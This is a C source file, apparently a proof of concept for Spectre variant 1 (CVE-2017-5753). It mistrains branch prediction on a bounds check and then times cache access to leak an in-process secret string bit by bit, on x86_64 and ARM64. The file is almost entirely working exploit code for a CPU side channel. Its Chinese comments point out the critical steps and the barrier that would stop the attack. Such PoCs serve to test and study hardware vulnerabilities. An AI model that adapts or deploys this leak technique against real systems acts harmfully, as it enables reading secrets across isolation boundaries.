/*
 * Filename: spectre-v1.c
 * Created Date: Tuesday, June 30th 2020, 6:53:22 pm
 * Author: koyst
 * 
 * Copyright (c) 2020 Your Company
 */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

// #if defined(__x86_64__)
// /* 64 bit detected */
// #endif
// #if defined(__i386__)
// /* 32 bit x86 detected */
// #endif

#if defined(__x86_64__)
#include <x86intrin.h>

uint64_t cache_fill[16 * 1024 * 8 * 16]; // 6M
void fill_clflush(void* addr)
{
    uint64_t tmp;
    // tmp = aa[0];
    for (int i = 0; i < 16 * 1024 * 8 * 16; i += 16) {
        tmp = cache_fill[i];
    }
}


static void clflush(void* addr)
{
    _mm_clflush(addr);
    _mm_mfence();
}

static inline void dsbsy()
{
    _mm_mfence();
}
#endif

#if defined(__aarch64__)
static inline void clflush(void* addr)
{
    asm("dc civac, %[addr];"
        "dsb sy" ::[addr] "r"(addr));
}

static inline void dsbsy()
{
    asm("dsb sy");
}
#endif

int debug = 0;
static struct timespec time_start = { 0, 0 }, time_end = { 0, 0 };

#define SIZE_CACHE_LINE 512

static uint64_t temp_val = 0;
uint8_t cache_buf[512 * SIZE_CACHE_LINE]; // 每次猜测1个无符号数, 每一个cache line 512byte数据

uint8_t victim_array[160] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
int victim_array_size = 16;
uint8_t bound_page[4096]; // 应该不需要
uint8_t* msg = "This is Spectre Secret.";


void flush_cache_buf()
{
    fill_clflush(NULL);
    // for (int i = 0; i < 512; i++) {
    //     clflush(&cache_buf[i * SIZE_CACHE_LINE]);
    // }
    dsbsy();
}

long time_read(uint8_t* addr)
{
    long ns = 0;
    // clock_gettime(CLOCK_MONOTONIC, &time_start);
    // dsbsy();
    clock_gettime(CLOCK_MONOTONIC, &time_start);
    dsbsy();
    temp_val &= *addr;
    dsbsy();
    clock_gettime(CLOCK_MONOTONIC, &time_end);
    // ns = (time_end.tv_sec - time_start.tv_sec) * 1000000000 + (time_end.tv_nsec - time_start.tv_nsec);
    ns = (time_end.tv_nsec - time_start.tv_nsec);
    return ns;
}

void victim_function(size_t x, int bit)
{
    // printf("---%c= x: %d, inx: %d, bit: %d =\n", victim_array[x], x, ((victim_array[x] >> bit) & 1), bit);
    if (x < victim_array_size) {
        // dsbsy(); // 在这里加上barrie将会使攻击失效
        // printf("iii: %d\n", ((victim_array[x] >> bit) & 1) * 512 + 512);
        temp_val &= cache_buf[((victim_array[x] >> bit) & 1) * SIZE_CACHE_LINE + SIZE_CACHE_LINE]; // 512*8 = 4096
    }
}

uint8_t spec_read_mem_byte(const uint8_t* target, int* p_precision)
{
    int precision = 1;
    uint8_t value = 0;
    size_t offset = target - &victim_array[0];
    for (int bit = 7; bit >= 0; bit--) {
        int hit0 = 0;
        int hit1 = 1;

        for (int tries = 0; tries < 30; tries++) {

            for (int round = 5; round >= 0; round--) {
                flush_cache_buf();
                size_t x = (round == 0) * offset;

                // 这一行很关键, 由于在条件中需要使用这个变量, 当这个变量获取速度快于 工具内存访问速度时,预测将失效
                clflush(&victim_array_size);
                temp_val &= victim_array[x];
                victim_function(x, bit);

                temp_val &= cache_buf[SIZE_CACHE_LINE * 4];
                dsbsy();
            }

            long delay_0, delay_1;
            long delay_hit, delay_miss;
            long hit_threshold;

            delay_hit = time_read(&cache_buf[SIZE_CACHE_LINE * 4]);
            delay_miss = time_read(&cache_buf[SIZE_CACHE_LINE * 5]);
            hit_threshold = (delay_miss + delay_hit) / 2;

            delay_0 = time_read(&cache_buf[SIZE_CACHE_LINE]);
            delay_1 = time_read(&cache_buf[SIZE_CACHE_LINE * 2]);
            // printf("***delay: hit: %d, miss: %d, threhold: %d\n", delay_hit, delay_miss, hit_threshold);
            if (debug)
                printf("===bit: %d, cc: %c(%x), delay_0: %4d, dleay_1: %4d, hit: %4d, miss: %4d, hit_threshold: %4d \n",
                    bit, victim_array[offset], victim_array[offset], delay_0, delay_1, delay_hit, delay_miss, hit_threshold);

            if (delay_0 < hit_threshold && delay_1 > hit_threshold) {
                hit0++;
            } else if (delay_1 < hit_threshold && delay_0 > hit_threshold) {
                hit1++;
            }
        }
        // printf("bit: %d, cc: %c, delay0: %d, dleay1: %d\n", bit, victim_array[offset], delay_0, delay_1);
        // break;
        value = value << 1;
        if (hit0 > hit1 * 2) {

        } else if (hit1 > hit0 * 2) {
            value |= 1;
        } else {
            precision = 0;
            if (hit1 > hit0) {
                value |= 1;
            }
        }
    }
    *p_precision = precision;
    return value;
}

void spec_read()
{
    const char* str = msg;
    uint8_t vals[100] = { 0 };
    int i;
    for (i = 0; i < 100 && *str; str++, i++) {
        int precision = 0;
        uint8_t value;
        value = spec_read_mem_byte(str, &precision);
        printf("got %c, expect(%c), precision: %d\n", value, *str, precision);
        vals[i] = value;
    }
    printf("****************************************\n");
    printf("target: %s\n", msg);
    printf("expect: %s\n", vals);
}

int main(int argc, char const* argv[])
{
    if (argc == 2) {
        if (!strcmp("-debug", argv[1])) {
            debug = 1;
        } else if (!strcmp("-h", argv[1])) {
            printf("usage: %s [-h|-debug]\n", argv[0]);
            return 0;
        }
    }

    printf(
        "****************************************\n"
        "Spectre-V1(CVE-2017-5753)/V2(CVE-2017-5715) POC test by Koyst.\n"
        "memory BoundsCheck Bypass, Branch prediction\n"
        "****************************************\n");

    flush_cache_buf(); // 准备缓存, 其实可以不需要, 有的话效果可能更好
    spec_read();
    return 0;
}
